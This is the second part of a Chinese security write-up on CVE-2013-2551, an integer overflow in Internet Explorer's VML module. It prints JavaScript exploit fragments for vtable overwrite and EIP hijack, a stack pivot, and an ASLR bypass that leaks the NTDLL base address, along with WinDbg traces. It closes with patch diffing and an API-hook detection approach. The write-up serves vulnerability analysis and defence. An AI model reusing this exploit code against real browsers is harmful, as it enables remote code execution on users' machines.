CVE-2013-2551样本分析及漏洞利用和防御(下篇)
3.4 劫持EIP
劫持EIP的源码大致如下:
for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
locations.reload();
由于0x0c0c0c0c在内存中存在太多,不方便搜索,将其修改为一个比较特殊的值0x0eeeee0e,然后加入弹框
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");
使用windbg附加运行,在弹框后暂停,然后搜索数值0x0eeeee0e
0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49 0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc ....%......t....
01a2ca8a 0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a ....%..[.(.t....
01a2cfc0 0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00 ................
12b60280 0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12 ....P........<..
根据对其,可以排除第一个搜索结果,由于搜索到的结果不多,可以根据其分布在数组{1,2,3,4}之后寻找
经过在内存中往上寻找数组,地址0x12b60280符合条件
查看附近内存布局
我们看到,一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象,它们占用的内存空间都是一样的。根据源码,我们可以知道,通过布置跟对象大小相同的数组,利用溢出,定位到后一个对象(此处是COAShape对象)的虚表
查看COAShape虚表的内容
此时我们知道虚表指针被改写了
对0x0eeeee0e下执行断点,中断时查看函数的调用关系
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...
查看上层调用
mshtml!ClearInterfaceFn:
6a23f202 8b08 mov ecx,dword ptr [eax]
6a23f204 832000 and dword ptr [eax],0
6a23f207 85c9 test ecx,ecx
6a23f209 7501 jne mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3 ret
6a23f20c 8b01 mov eax,dword ptr [ecx]
6a23f20e 51 push ecx
6a23f20f ff5008 call dword ptr [eax+8]
6a23f212 ebf7 jmp mshtml!ClearInterfaceFn+0xf (6a23f20b)
地址0x6a23f20f是在调用虚表第二项,正常情况是Release函数,溢出后,劫持了EIP
构造的利用样本将在此处执行换栈操作
0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94 xchg eax,esp
3.5 不使用0x7ffe0300泄露NTDLL.DLL基址过ASLR
使用固定偏移泄露NTDLL.DLL的基址在打过补丁的Windows 7系统上已经不能使用了,实际利用中局限性比较大。我们可以考虑泄露其他模块的基址,或者换种思路泄露NTDLL.DLL基址
对于已有的利用代码来讲换种方式泄露NTDLL.DLL基址对代码的改动量比较小
查看漏洞模块自身的导入表信息
好吧,没有导入NTDLL.DLL的函数。那么我也比较懒,泄露VGX.DLL模块的基址,通过导入表找到KERNEL32.DLL,针对其中某个函数到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。简单可行,源码改动小。当然,缺点是VGX.DLL模块版本限定太死
源码大致如下:
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
/////////////////////////////////////////////////////////
//offset to PE
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
var leak = a[i].marginLeft;
pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
//find import directory
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
var leak = a[i].marginLeft;
import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
//find kernel32.dll
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
var leak = a[i].marginLeft;
thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
//find first function address
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
var leak = a[i].marginLeft;
first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
ntdll_base = first_function_addr - 0x47760;
//return original value
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
/////////////////////////////////////////////////////////
alert("base of ntdll.dll : " + ntdll_base.toString(16));
break;
}
}
return ntdll_base;
0x4 漏洞检测
通过本文第二部分分析,已经知道在vgx!ORG::CElements函数内造成溢出
源码中的关键溢出语句:
vml1.dashstyle.array.length = 0 - 1;
从数据关系的角度来看,银行柜台办理存款业务时,柜员收到现金的时候,应该先验钞还是先办理存款登记再验证钞票真伪?答案显然是前者。那么我们的检测点也应该提前到数据输入的地方。
4.1 根据微软安全公告下载补丁
根据微软的安全公告MS13-037下载到补丁KB2829530,补丁前后的VGX.DLL文件版本分别为
[补丁前]:8.0.7601.18106
[补丁后]:8.0.7601.18126
4.2 使用Bindiff对比文件
使用Bindiff对比vgx.dll之后,根据符号名称猜测是在COALineDashStyleArray::put_length函数进行的修补
进行对比
通过Windbg调试验证
走到判断数值是否小于0
G一下,利用样本正常运行,没有触发漏洞
我们可以钩取COALineDashStyleArray::put_length函数前五字节,插入判断代码,判断参数的值是否小于0,如果小于0提示用户触发CVE-2013-2551,否则还原流程
检测代码编写略
检测效果截图
0x5 总结
该漏洞属于整数溢出漏洞。其漏洞原因在于VGX.DLL模块中处理dashstyle.array.length属性时未对输入参数进行有效检查。利用溢出造成任意地址读写,改写虚表指针劫持EIP获得任意代码执行的能力
根据参考代码,笔者通过泄露NTDLL.DLL模块基址的方式绕过ASLR,当然,此次绕过的方式并不具有通用性,漏洞利用技巧也是笔者需要更多学习、思考以及参考野外样本利用方式待以提升的地方
编码对该漏洞利用样本进行动态检测,从数据关系的角度来看,一定是在获取外部数据的位置部署检测代码。笔者对关键函数进行API HOOK,一旦外部数据不合法立即提示给用户
0x6 参考资料
[1]
[2]
[3]
[4]
[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》
*本文为 华兴永恒安全团队发布,如若转载,请注明来源新葡萄88805:www.cyby120.com